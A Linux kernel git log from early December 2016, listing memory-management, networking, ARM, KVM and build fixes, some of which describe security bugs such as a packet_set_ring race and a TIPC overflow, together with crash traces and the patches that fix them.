3c49de52d5647cda8b42c4255cf8a29d1e22eff5 Merge: 8655639 bd04173 Author: Linus Torvalds Date: Fri Dec 2 18:48:11 2016 -0800 Merge branch 'akpm' (patches from Andrew) Merge more fixes from Andrew Morton: "2 fixes" * emailed patches from Andrew Morton : mm, vmscan: add cond_resched() into shrink_node_memcg() mm: workingset: fix NULL ptr in count_shadow_nodes commit bd041733c9f612b66c519e5a8b1a98b05b94ed24 Author: Michal Hocko Date: Fri Dec 2 17:26:48 2016 -0800 mm, vmscan: add cond_resched() into shrink_node_memcg() Boris Zhmurov has reported RCU stalls during the kswapd reclaim: INFO: rcu_sched detected stalls on CPUs/tasks: 23-...: (22 ticks this GP) idle=92f/140000000000000/0 softirq=2638404/2638404 fqs=23 (detected by 4, t=6389 jiffies, g=786259, c=786258, q=42115) Task dump for CPU 23: kswapd1 R running task 0 148 2 0x00000008 Call Trace: shrink_node+0xd2/0x2f0 kswapd+0x2cb/0x6a0 mem_cgroup_shrink_node+0x160/0x160 kthread+0xbd/0xe0 __switch_to+0x1fa/0x5c0 ret_from_fork+0x1f/0x40 kthread_create_on_node+0x180/0x180 a closer code inspection has shown that we might indeed miss all the scheduling points in the reclaim path if no pages can be isolated from the LRU list. This is a pathological case but other reports from Donald Buczek have shown that we might indeed hit such a path: clusterd-989 [009] .... 118023.654491: mm_vmscan_direct_reclaim_end: nr_reclaimed=193 kswapd1-86 [001] dN.. 118023.987475: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4239830 nr_taken=0 file=1 kswapd1-86 [001] dN.. 118024.320968: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4239844 nr_taken=0 file=1 kswapd1-86 [001] dN.. 118024.654375: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4239858 nr_taken=0 file=1 kswapd1-86 [001] dN.. 118024.987036: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4239872 nr_taken=0 file=1 kswapd1-86 [001] dN.. 118025.319651: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4239886 nr_taken=0 file=1 kswapd1-86 [001] dN.. 118025.652248: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4239900 nr_taken=0 file=1 kswapd1-86 [001] dN.. 118025.984870: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4239914 nr_taken=0 file=1 [...] kswapd1-86 [001] dN.. 118084.274403: mm_vmscan_lru_isolate: isolate_mode=0 classzone=0 order=0 nr_requested=32 nr_scanned=4241133 nr_taken=0 file=1 this is minute long snapshot which didn't take a single page from the LRU. It is not entirely clear why only 1303 pages have been scanned during that time (maybe there was a heavy IRQ activity interfering). In any case it looks like we can really hit long periods without scheduling on non preemptive kernels so an explicit cond_resched() in shrink_node_memcg which is independent on the reclaim operation is due. Link: http://lkml.kernel.org/r/20161202095841.16648-1-mhocko@kernel.org Signed-off-by: Michal Hocko Reported-by: Boris Zhmurov Tested-by: Boris Zhmurov Reported-by: Donald Buczek Reported-by: "Christopher S. Aker" Reported-by: Paul Menzel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/vmscan.c | 2 ++ 1 file changed, 2 insertions(+) commit 20ab67a563f5299c09a234164c372aba5a59add8 Author: Michal Hocko Date: Fri Dec 2 17:26:45 2016 -0800 mm: workingset: fix NULL ptr in count_shadow_nodes Commit 0a6b76dd23fa ("mm: workingset: make shadow node shrinker memcg aware") has made the workingset shadow nodes shrinker memcg aware. The implementation is not correct though because memcg_kmem_enabled() might become true while we are doing a global reclaim when the sc->memcg might be NULL which is exactly what Marek has seen: BUG: unable to handle kernel NULL pointer dereference at 0000000000000400 IP: [] mem_cgroup_node_nr_lru_pages+0x20/0x40 PGD 0 Oops: 0000 [#1] SMP CPU: 0 PID: 60 Comm: kswapd0 Tainted: G O 4.8.10-12.pvops.qubes.x86_64 #1 task: ffff880011863b00 task.stack: ffff880011868000 RIP: mem_cgroup_node_nr_lru_pages+0x20/0x40 RSP: e02b:ffff88001186bc70 EFLAGS: 00010293 RAX: 0000000000000000 RBX: ffff88001186bd20 RCX: 0000000000000002 RDX: 000000000000000c RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffff88001186bc70 R08: 28f5c28f5c28f5c3 R09: 0000000000000000 R10: 0000000000006c34 R11: 0000000000000333 R12: 00000000000001f6 R13: ffffffff81c6f6a0 R14: 0000000000000000 R15: 0000000000000000 FS: 0000000000000000(0000) GS:ffff880013c00000(0000) knlGS:ffff880013d00000 CS: e033 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000400 CR3: 00000000122f2000 CR4: 0000000000042660 Call Trace: count_shadow_nodes+0x9a/0xa0 shrink_slab.part.42+0x119/0x3e0 shrink_node+0x22c/0x320 kswapd+0x32c/0x700 kthread+0xd8/0xf0 ret_from_fork+0x1f/0x40 Code: 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 3b 35 dd eb b1 00 55 48 89 e5 73 2c 89 d2 31 c9 31 c0 4c 63 ce 48 0f a3 ca 73 13 <4a> 8b b4 cf 00 04 00 00 41 89 c8 4a 03 84 c6 80 00 00 00 83 c1 RIP mem_cgroup_node_nr_lru_pages+0x20/0x40 RSP CR2: 0000000000000400 ---[ end trace 100494b9edbdfc4d ]--- This patch fixes the issue by checking sc->memcg rather than memcg_kmem_enabled() which is sufficient because shrink_slab makes sure that only memcg aware shrinkers will get non-NULL memcgs and only if memcg_kmem_enabled is true. Fixes: 0a6b76dd23fa ("mm: workingset: make shadow node shrinker memcg aware") Link: http://lkml.kernel.org/r/20161201132156.21450-1-mhocko@kernel.org Signed-off-by: Michal Hocko Reported-by: Marek Marczykowski-Górecki Tested-by: Marek Marczykowski-Górecki Acked-by: Vladimir Davydov Acked-by: Johannes Weiner Acked-by: Balbir Singh Cc: [4.6+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/workingset.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 865563924022d8a307ee6dbc6a9ab4fb4d461cce Author: Nicolas Pitre Date: Fri Dec 2 15:11:50 2016 -0500 kbuild: fix building bzImage with CONFIG_TRIM_UNUSED_KSYMS enabled When building a specific target such as bzImage, modules aren't normally built. However if CONFIG_TRIM_UNUSED_KSYMS is enabled, no built modules means none of the exported symbols are used and therefore they will all be trimmed away from the final kernel. A subsequent "make modules" will fail because modpost cannot find the needed symbols for those modules in the kernel binary. Let's make sure modules are also built whenever CONFIG_TRIM_UNUSED_KSYMS is enabled and that the kernel binary is properly rebuilt accordingly. Signed-off-by: Nicolas Pitre Tested-by: Jarod Wilson Signed-off-by: Linus Torvalds Makefile | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit 8dc0f265d39a3933f4c1f846c7c694f12a2ab88a Merge: 8bca927 909e481 Author: Linus Torvalds Date: Fri Dec 2 13:34:37 2016 -0800 Merge tag 'fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc Pull ARM SoC fixes from Arnd Bergmann: "This should be the last set of bugfixes for arm-soc in v4.9. None of these are critical regressions, but it would be nice to still get them merged. - On the Juno platform, the idle latency was described wrong, leading to suboptimal cpuidle tuning. - Also on the same platform, PCI I/O space was set up incorrectly and could not work. - On the sti platform, a syntactically incorrect DT entry caused warnings. - The newly added 'gr8' platform has somewhat confusing file names, which we rename for consistency" * tag 'fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/arm/arm-soc: arm64: dts: juno: fix cluster sleep state entry latency on all SoC versions arm64: dts: juno: Correct PCI IO window ARM: dts: STiH407-family: fix i2c nodes ARM: gr8: Rename the DTSI and relevant DTS commit 8bca927f13bc1cebe23a3709af6ce3016400f7ac Merge: ed8d747 b98b0bc Author: Linus Torvalds Date: Fri Dec 2 11:45:27 2016 -0800 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Pull networking fixes from David Miller: 1) Lots more phydev and probe error path leaks in various drivers by Johan Hovold. 2) Fix race in packet_set_ring(), from Philip Pettersson. 3) Use after free in dccp_invalid_packet(), from Eric Dumazet. 4) Signnedness overflow in SO_{SND,RCV}BUFFORCE, also from Eric Dumazet. 5) When tunneling between ipv4 and ipv6 we can be left with the wrong skb->protocol value as we enter the IPSEC engine and this causes all kinds of problems. Set it before the output path does any dst_output() calls, from Eli Cooper. 6) bcmgenet uses wrong device struct pointer in DMA API calls, fix from Florian Fainelli. 7) Various netfilter nat bug fixes from FLorian Westphal. 8) Fix memory leak in ipvlan_link_new(), from Gao Feng. 9) Locking fixes, particularly wrt. socket lookups, in l2tp from Guillaume Nault. 10) Avoid invoking rhash teardowns in atomic context by moving netlink cb->done() dump completion from a worker thread. Fix from Herbert Xu. 11) Buffer refcount problems in tun and macvtap on errors, from Jason Wang. 12) We don't set Kconfig symbol DEFAULT_TCP_CONG properly when the user selects BBR. Fix from Julian Wollrath. 13) Fix deadlock in transmit path on altera TSE driver, from Lino Sanfilippo. 14) Fix unbalanced reference counting in dsa_switch_tree, from Nikita Yushchenko. 15) tc_tunnel_key needs to be properly exported to userspace via uapi, fix from Roi Dayan. 16) rds_tcp_init_net() doesn't unregister notifier in error path, fix from Sowmini Varadhan. 17) Stale packet header pointer access after pskb_expand_head() in genenve driver, fix from Sabrina Dubroca. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net: (103 commits) net: avoid signed overflows for SO_{SND|RCV}BUFFORCE geneve: avoid use-after-free of skb->data tipc: check minimum bearer MTU net: renesas: ravb: unintialized return value sh_eth: remove unchecked interrupts for RZ/A1 net: bcmgenet: Utilize correct struct device for all DMA operations NET: usb: qmi_wwan: add support for Telit LE922A PID 0x1040 cdc_ether: Fix handling connection notification ip6_offload: check segs for NULL in ipv6_gso_segment. RDS: TCP: unregister_netdevice_notifier() in error path of rds_tcp_init_net Revert: "ip6_tunnel: Update skb->protocol to ETH_P_IPV6 in ip6_tnl_xmit()" ipv6: Set skb->protocol properly for local output ipv4: Set skb->protocol properly for local output packet: fix race condition in packet_set_ring net: ethernet: altera: TSE: do not use tx queue lock in tx completion handler net: ethernet: altera: TSE: Remove unneeded dma sync for tx buffers net: ethernet: stmmac: fix of-node and fixed-link-phydev leaks net: ethernet: stmmac: platform: fix outdated function header net: ethernet: stmmac: dwmac-meson8b: fix probe error path net: ethernet: stmmac: dwmac-generic: fix probe error path ... commit b98b0bc8c431e3ceb4b26b0dfc8db509518fb290 Author: Eric Dumazet Date: Fri Dec 2 09:44:53 2016 -0800 net: avoid signed overflows for SO_{SND|RCV}BUFFORCE CAP_NET_ADMIN users should not be allowed to set negative sk_sndbuf or sk_rcvbuf values, as it can lead to various memory corruptions, crashes, OOM... Note that before commit 82981930125a ("net: cleanups in sock_setsockopt()"), the bug was even more serious, since SO_SNDBUF and SO_RCVBUF were vulnerable. This needs to be backported to all known linux kernels. Again, many thanks to syzkaller team for discovering this gem. Signed-off-by: Eric Dumazet Reported-by: Andrey Konovalov Signed-off-by: David S. Miller net/core/sock.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5b01014759991887b1e450c9def01e58c02ab81b Author: Sabrina Dubroca Date: Fri Dec 2 16:49:29 2016 +0100 geneve: avoid use-after-free of skb->data geneve{,6}_build_skb can end up doing a pskb_expand_head(), which makes the ip_hdr(skb) reference we stashed earlier stale. Since it's only needed as an argument to ip_tunnel_ecn_encap(), move this directly in the function call. Fixes: 08399efc6319 ("geneve: ensure ECN info is handled properly in all tx/rx paths") Signed-off-by: Sabrina Dubroca Reviewed-by: John W. Linville Signed-off-by: David S. Miller drivers/net/geneve.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit 3de81b758853f0b29c61e246679d20b513c4cfec Author: Michal Kubeček Date: Fri Dec 2 09:33:41 2016 +0100 tipc: check minimum bearer MTU Qian Zhang (张谦) reported a potential socket buffer overflow in tipc_msg_build() which is also known as CVE-2016-8632: due to insufficient checks, a buffer overflow can occur if MTU is too short for even tipc headers. As anyone can set device MTU in a user/net namespace, this issue can be abused by a regular user. As agreed in the discussion on Ben Hutchings' original patch, we should check the MTU at the moment a bearer is attached rather than for each processed packet. We also need to repeat the check when bearer MTU is adjusted to new device MTU. UDP case also needs a check to avoid overflow when calculating bearer MTU. Fixes: b97bf3fd8f6a ("[TIPC] Initial merge") Signed-off-by: Michal Kubecek Reported-by: Qian Zhang (张谦) Acked-by: Ying Xue Signed-off-by: David S. Miller net/tipc/bearer.c | 11 +++++++++-- net/tipc/bearer.h | 13 +++++++++++++ net/tipc/udp_media.c | 5 +++++ 3 files changed, 27 insertions(+), 2 deletions(-) commit f0d21e894713b43a75bdf2d1b31e587bd5db5341 Merge: 50d5aa4 f00b534 Author: David S. Miller Date: Fri Dec 2 14:02:13 2016 -0500 Merge tag 'linux-can-fixes-for-4.9-20161201' of git://git.kernel.org/pub/scm/linux/kernel/git/mkl/linux-can Marc Kleine-Budde says: ==================== pull-request: can 2016-12-02 this is a pull request for net/master. There are two patches by Stephane Grosjean, who adds support for the new PCAN-USB X6 USB interface to the pcan_usb driver. ==================== Signed-off-by: David S. Miller commit 50d5aa4cf822887f88841e4d8f8502434af679a9 Author: Dan Carpenter Date: Thu Dec 1 23:57:44 2016 +0300 net: renesas: ravb: unintialized return value We want to set the other "err" variable here so that we can return it later. My version of GCC misses this issue but I caught it with a static checker. Fixes: 9f70eb339f52 ("net: ethernet: renesas: ravb: fix fixed-link phydev leaks") Signed-off-by: Dan Carpenter Acked-by: Sergei Shtylyov Reviewed-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/renesas/ravb_main.c | 2 -- 1 file changed, 2 deletions(-) commit 33d446dbba4d4d6a77e1e900d434fa99e0f02c86 Author: Chris Brandt Date: Thu Dec 1 13:32:14 2016 -0500 sh_eth: remove unchecked interrupts for RZ/A1 When streaming a lot of data and the RZ/A1 can't keep up, some status bits will get set that are not being checked or cleared which cause the following messages and the Ethernet driver to stop working. This patch fixes that issue. irq 21: nobody cared (try booting with the "irqpoll" option) handlers: [] sh_eth_interrupt Disabling IRQ #21 Fixes: db893473d313a4ad ("sh_eth: Add support for r7s72100") Signed-off-by: Chris Brandt Acked-by: Sergei Shtylyov Signed-off-by: David S. Miller drivers/net/ethernet/renesas/sh_eth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8c4799ac799665065f9bf1364fd71bf4f7dc6a4a Author: Florian Fainelli Date: Thu Dec 1 09:45:45 2016 -0800 net: bcmgenet: Utilize correct struct device for all DMA operations __bcmgenet_tx_reclaim() and bcmgenet_free_rx_buffers() are not using the same struct device during unmap that was used for the map operation, which makes DMA-API debugging warn about it. Fix this by always using &priv->pdev->dev throughout the driver, using an identical device reference for all map/unmap calls. Fixes: 1c1008c793fa ("net: bcmgenet: add main driver file") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/genet/bcmgenet.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit ed8d747fd2b9d9204762ca6ab8c843c72c42cc41 Author: Linus Torvalds Date: Fri Dec 2 10:48:50 2016 -0800 Fix up a couple of field names in the CREDITS file Ozgur Karatas reported that the very first entry in the CREDITS file had the wrong tag for name (M: instead of N: - it happened when moving the entry from the MAINTAINERS file, where 'M:' stands for "Maintainer"). And when I went looking, I found a couple of other cases of wrong tagging too. Reported-by: Ozgur Karatas Signed-off-by: Linus Torvalds CREDITS | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9bd813da24cd49d749911d7fdc0e9ae9a673d746 Author: Daniele Palmas Date: Thu Dec 1 16:52:05 2016 +0100 NET: usb: qmi_wwan: add support for Telit LE922A PID 0x1040 This patch adds support for PID 0x1040 of Telit LE922A. The qmi adapter requires to have DTR set for proper working, so QMI_WWAN_QUIRK_DTR has been enabled. Signed-off-by: Daniele Palmas Acked-by: Bjørn Mork Signed-off-by: David S. Miller drivers/net/usb/qmi_wwan.c | 1 + 1 file changed, 1 insertion(+) commit d5c83d0d1d83b3798c71e0c8b7c3624d39c91d88 Author: Kristian Evensen Date: Thu Dec 1 14:23:17 2016 +0100 cdc_ether: Fix handling connection notification Commit bfe9b9d2df66 ("cdc_ether: Improve ZTE MF823/831/910 handling") introduced a work-around in usbnet_cdc_status() for devices that exported cdc carrier on twice on connect. Before the commit, this behavior caused the link state to be incorrect. It was assumed that all CDC Ethernet devices would either export this behavior, or send one off and then one on notification (which seems to be the default behavior). Unfortunately, it turns out multiple devices sends a connection notification multiple times per second (via an interrupt), even when connection state does not change. This has been observed with several different USB LAN dongles (at least), for example 13b1:0041 (Linksys). After bfe9b9d2df66, the link state has been set as down and then up for each notification. This has caused a flood of Netlink NEWLINK messages and syslog to be flooded with messages similar to: cdc_ether 2-1:2.0 eth1: kevent 12 may have been dropped This commit fixes the behavior by reverting usbnet_cdc_status() to how it was before bfe9b9d2df66. The work-around has been moved to a separate status-function which is only called when a known, affect device is detected. v1->v2: * Do not open-code netif_carrier_ok() (thanks Henning Schild). * Call netif_carrier_off() instead of usb_link_change(). This prevents calling schedule_work() twice without giving the work queue a chance to be processed (thanks Bjørn Mork). Fixes: bfe9b9d2df66 ("cdc_ether: Improve ZTE MF823/831/910 handling") Reported-by: Henning Schild Signed-off-by: Kristian Evensen Signed-off-by: David S. Miller drivers/net/usb/cdc_ether.c | 38 +++++++++++++++++++++++++++++++------- 1 file changed, 31 insertions(+), 7 deletions(-) commit 6b6ebb6b01c873d0cfe3449e8a1219ee6e5fc022 Author: Artem Savkov Date: Thu Dec 1 14:06:04 2016 +0100 ip6_offload: check segs for NULL in ipv6_gso_segment. segs needs to be checked for being NULL in ipv6_gso_segment() before calling skb_shinfo(segs), otherwise kernel can run into a NULL-pointer dereference: [ 97.811262] BUG: unable to handle kernel NULL pointer dereference at 00000000000000cc [ 97.819112] IP: [] ipv6_gso_segment+0x119/0x2f0 [ 97.825214] PGD 0 [ 97.827047] [ 97.828540] Oops: 0000 [#1] SMP [ 97.831678] Modules linked in: vhost_net vhost macvtap macvlan nfsv3 rpcsec_gss_krb5 nfsv4 dns_resolver nfs fscache xt_CHECKSUM iptable_mangle ipt_MASQUERADE nf_nat_masquerade_ipv4 iptable_nat nf_nat_ipv4 nf_nat nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack ipt_REJECT nf_reject_ipv4 tun ebtable_filter ebtables ip6table_filter ip6_tables iptable_filter bridge stp llc snd_hda_codec_realtek snd_hda_codec_hdmi snd_hda_codec_generic snd_hda_intel snd_hda_codec edac_mce_amd snd_hda_core edac_core snd_hwdep kvm_amd snd_seq kvm snd_seq_device snd_pcm irqbypass snd_timer ppdev parport_serial snd parport_pc k10temp pcspkr soundcore parport sp5100_tco shpchp sg wmi i2c_piix4 acpi_cpufreq nfsd auth_rpcgss nfs_acl lockd grace sunrpc ip_tables xfs libcrc32c sr_mod cdrom sd_mod ata_generic pata_acpi amdkfd amd_iommu_v2 radeon broadcom bcm_phy_lib i2c_algo_bit drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm ahci serio_raw tg3 firewire_ohci libahci pata_atiixp drm ptp libata firewire_core pps_core i2c_core crc_itu_t fjes dm_mirror dm_region_hash dm_log dm_mod [ 97.927721] CPU: 1 PID: 3504 Comm: vhost-3495 Not tainted 4.9.0-7.el7.test.x86_64 #1 [ 97.935457] Hardware name: AMD Snook/Snook, BIOS ESK0726A 07/26/2010 [ 97.941806] task: ffff880129a1c080 task.stack: ffffc90001bcc000 [ 97.947720] RIP: 0010:[] [] ipv6_gso_segment+0x119/0x2f0 [ 97.956251] RSP: 0018:ffff88012fc43a10 EFLAGS: 00010207 [ 97.961557] RAX: 0000000000000000 RBX: ffff8801292c8700 RCX: 0000000000000594 [ 97.968687] RDX: 0000000000000593 RSI: ffff880129a846c0 RDI: 0000000000240000 [ 97.975814] RBP: ffff88012fc43a68 R08: ffff880129a8404e R09: 0000000000000000 [ 97.982942] R10: 0000000000000000 R11: ffff880129a84076 R12: 00000020002949b3 [ 97.990070] R13: ffff88012a580000 R14: 0000000000000000 R15: ffff88012a580000 [ 97.997198] FS: 0000000000000000(0000) GS:ffff88012fc40000(0000) knlGS:0000000000000000 [ 98.005280] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 98.011021] CR2: 00000000000000cc CR3: 0000000126c5d000 CR4: 00000000000006e0 [ 98.018149] Stack: [ 98.020157] 00000000ffffffff ffff88012fc43ac8 ffffffffa017ad0a 000000000000000e [ 98.027584] 0000001300000000 0000000077d59998 ffff8801292c8700 00000020002949b3 [ 98.035010] ffff88012a580000 0000000000000000 ffff88012a580000 ffff88012fc43a98 [ 98.042437] Call Trace: [ 98.044879] [ 98.046803] [] ? tg3_start_xmit+0x84a/0xd60 [tg3] [ 98.053156] [] skb_mac_gso_segment+0xb0/0x130 [ 98.059158] [] __skb_gso_segment+0x73/0x110 [ 98.064985] [] validate_xmit_skb+0x12d/0x2b0 [ 98.070899] [] validate_xmit_skb_list+0x42/0x70 [ 98.077073] [] sch_direct_xmit+0xd0/0x1b0 [ 98.082726] [] __dev_queue_xmit+0x486/0x690 [ 98.088554] [] ? cpumask_next_and+0x35/0x50 [ 98.094380] [] dev_queue_xmit+0x10/0x20 [ 98.099863] [] br_dev_queue_push_xmit+0xa7/0x170 [bridge] [ 98.106907] [] br_forward_finish+0x41/0xc0 [bridge] [ 98.113430] [] ? nf_iterate+0x52/0x60 [ 98.118735] [] ? nf_hook_slow+0x6b/0xc0 [ 98.124216] [] __br_forward+0x14c/0x1e0 [bridge] [ 98.130480] [] ? br_dev_queue_push_xmit+0x170/0x170 [bridge] [ 98.137785] [] br_forward+0x9d/0xb0 [bridge] [ 98.143701] [] br_handle_frame_finish+0x267/0x560 [bridge] [ 98.150834] [] br_handle_frame+0x174/0x2f0 [bridge] [ 98.157355] [] ? sched_clock+0x9/0x10 [ 98.162662] [] ? sched_clock_cpu+0x72/0xa0 [ 98.168403] [] __netif_receive_skb_core+0x1e5/0xa20 [ 98.174926] [] ? timerqueue_add+0x59/0xb0 [ 98.180580] [] __netif_receive_skb+0x18/0x60 [ 98.186494] [] process_backlog+0x95/0x140 [ 98.192145] [] net_rx_action+0x16d/0x380 [ 98.197713] [] __do_softirq+0xd1/0x283 [ 98.203106] [] do_softirq_own_stack+0x1c/0x30 [ 98.209107] [ 98.211029] [] do_softirq+0x50/0x60 [ 98.216166] [] netif_rx_ni+0x33/0x80 [ 98.221386] [] tun_get_user+0x487/0x7f0 [tun] [ 98.227388] [] tun_sendmsg+0x4b/0x60 [tun] [ 98.233129] [] handle_tx+0x282/0x540 [vhost_net] [ 98.239392] [] handle_tx_kick+0x15/0x20 [vhost_net] [ 98.245916] [] vhost_worker+0x9e/0xf0 [vhost] [ 98.251919] [] ? vhost_umem_alloc+0x40/0x40 [vhost] [ 98.258440] [] ? do_syscall_64+0x67/0x180 [ 98.264094] [] kthread+0xd9/0xf0 [ 98.268965] [] ? kthread_park+0x60/0x60 [ 98.274444] [] ret_from_fork+0x25/0x30 [ 98.279836] Code: 8b 93 d8 00 00 00 48 2b 93 d0 00 00 00 4c 89 e6 48 89 df 66 89 93 c2 00 00 00 ff 10 48 3d 00 f0 ff ff 49 89 c2 0f 87 52 01 00 00 <41> 8b 92 cc 00 00 00 48 8b 80 d0 00 00 00 44 0f b7 74 10 06 66 [ 98.299425] RIP [] ipv6_gso_segment+0x119/0x2f0 [ 98.305612] RSP [ 98.309094] CR2: 00000000000000cc [ 98.312406] ---[ end trace 726a2c7a2d2d78d0 ]--- Signed-off-by: Artem Savkov Acked-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv6/ip6_offload.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 721c7443dcb26bf8c0b4ad317a36c7dfa140f1e4 Author: Sowmini Varadhan Date: Thu Dec 1 04:44:43 2016 -0800 RDS: TCP: unregister_netdevice_notifier() in error path of rds_tcp_init_net If some error is encountered in rds_tcp_init_net, make sure to unregister_netdevice_notifier(), else we could trigger a panic later on, when the modprobe from a netns fails. Signed-off-by: Sowmini Varadhan Acked-by: Santosh Shilimkar Signed-off-by: David S. Miller net/rds/tcp.c | 2 ++ 1 file changed, 2 insertions(+) commit 80d1106aeaf689ab5fdf33020c5fecd269b31c88 Author: Eli Cooper Date: Thu Dec 1 10:05:12 2016 +0800 Revert: "ip6_tunnel: Update skb->protocol to ETH_P_IPV6 in ip6_tnl_xmit()" This reverts commit ae148b085876fa771d9ef2c05f85d4b4bf09ce0d ("ip6_tunnel: Update skb->protocol to ETH_P_IPV6 in ip6_tnl_xmit()"). skb->protocol is now set in __ip_local_out() and __ip6_local_out() before dst_output() is called. It is no longer necessary to do it for each tunnel. Cc: stable@vger.kernel.org Signed-off-by: Eli Cooper Signed-off-by: David S. Miller net/ipv6/ip6_tunnel.c | 1 - 1 file changed, 1 deletion(-) commit b4e479a96fc398ccf83bb1cffb4ffef8631beaf1 Author: Eli Cooper Date: Thu Dec 1 10:05:11 2016 +0800 ipv6: Set skb->protocol properly for local output When xfrm is applied to TSO/GSO packets, it follows this path: xfrm_output() -> xfrm_output_gso() -> skb_gso_segment() where skb_gso_segment() relies on skb->protocol to function properly. This patch sets skb->protocol to ETH_P_IPV6 before dst_output() is called, fixing a bug where GSO packets sent through an ipip6 tunnel are dropped when xfrm is involved. Cc: stable@vger.kernel.org Signed-off-by: Eli Cooper Signed-off-by: David S. Miller net/ipv6/output_core.c | 2 ++ 1 file changed, 2 insertions(+) commit f4180439109aa720774baafdd798b3234ab1a0d2 Author: Eli Cooper Date: Thu Dec 1 10:05:10 2016 +0800 ipv4: Set skb->protocol properly for local output When xfrm is applied to TSO/GSO packets, it follows this path: xfrm_output() -> xfrm_output_gso() -> skb_gso_segment() where skb_gso_segment() relies on skb->protocol to function properly. This patch sets skb->protocol to ETH_P_IP before dst_output() is called, fixing a bug where GSO packets sent through a sit tunnel are dropped when xfrm is involved. Cc: stable@vger.kernel.org Signed-off-by: Eli Cooper Signed-off-by: David S. Miller net/ipv4/ip_output.c | 2 ++ 1 file changed, 2 insertions(+) commit 84ac7260236a49c79eede91617700174c2c19b0c Author: Philip Pettersson Date: Wed Nov 30 14:55:36 2016 -0800 packet: fix race condition in packet_set_ring When packet_set_ring creates a ring buffer it will initialize a struct timer_list if the packet version is TPACKET_V3. This value can then be raced by a different thread calling setsockopt to set the version to TPACKET_V1 before packet_set_ring has finished. This leads to a use-after-free on a function pointer in the struct timer_list when the socket is closed as the previously initialized timer will not be deleted. The bug is fixed by taking lock_sock(sk) in packet_setsockopt when changing the packet version while also taking the lock at the start of packet_set_ring. Fixes: f6fb8f100b80 ("af-packet: TPACKET_V3 flexible buffer implementation.") Signed-off-by: Philip Pettersson Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/packet/af_packet.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 4aa675aaf22790188d6b9c47d3d44570720c0e34 Merge: 3e52d06 a0f1d21 Author: Linus Torvalds Date: Fri Dec 2 09:15:26 2016 -0800 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm Pull KVM fixes from Radim Krčmář: "All architectures avoid memory corruption in an error path. ARM prevents bogus acknowledgement of interrupts" * tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm: KVM: use after free in kvm_ioctl_create_device() KVM: arm/arm64: vgic: Don't notify EOI for non-SPIs commit 3e52d063d809df58da9be59c67d755c0d1ffa7c8 Merge: 8ab2ae6 dfa2ccc Author: Linus Torvalds Date: Fri Dec 2 09:12:44 2016 -0800 Merge branch 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux Pull i2c fix from Wolfram Sang: "Here is the revert for the regression of the i2c-octeon driver I mentioned last time. I wished for a bit more feedback, but all people working actively on it are in need of this patch, so here it goes" * 'i2c/for-current' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux: Revert "i2c: octeon: thunderx: Limit register access retries" commit 2219d5ed77e8bdc2ef1f0b79f34d2cc0be802b25 Author: Lino Sanfilippo Date: Wed Nov 30 23:48:32 2016 +0100 net: ethernet: altera: TSE: do not use tx queue lock in tx completion handler The driver already uses its private lock for synchronization between xmit and xmit completion handler making the additional use of the xmit_lock unnecessary. Furthermore the driver does not set NETIF_F_LLTX resulting in xmit to be called with the xmit_lock held and then taking the private lock while xmit completion handler does the reverse, first take the private lock, then the xmit_lock. Fix these issues by not taking the xmit_lock in the tx completion handler. Signed-off-by: Lino Sanfilippo Signed-off-by: David S. Miller drivers/net/ethernet/altera/altera_tse_main.c | 2 -- 1 file changed, 2 deletions(-) commit 151a14db228181fb49abaf83e13f3be58ec102c4 Author: Lino Sanfilippo Date: Wed Nov 30 23:48:31 2016 +0100 net: ethernet: altera: TSE: Remove unneeded dma sync for tx buffers An explicit dma sync for device directly after mapping as well as an explicit dma sync for cpu directly before unmapping is unnecessary and costly on the hotpath. So remove these calls. Signed-off-by: Lino Sanfilippo Signed-off-by: David S. Miller drivers/net/ethernet/altera/altera_tse_main.c | 10 ---------- 1 file changed, 10 deletions(-) commit 8ab2ae655bfe384335c5b6b0d6041e0ddce26b00 Author: Arnd Bergmann Date: Fri Dec 2 13:40:27 2016 +0100 default exported asm symbols to zero With binutils-2.26 and before, a weak missing symbol was kept during the final link, and a missing CRC for an export would lead to that CRC being treated as zero implicitly. With binutils-2.27, the crc symbol gets dropped, and any module trying to use it will fail 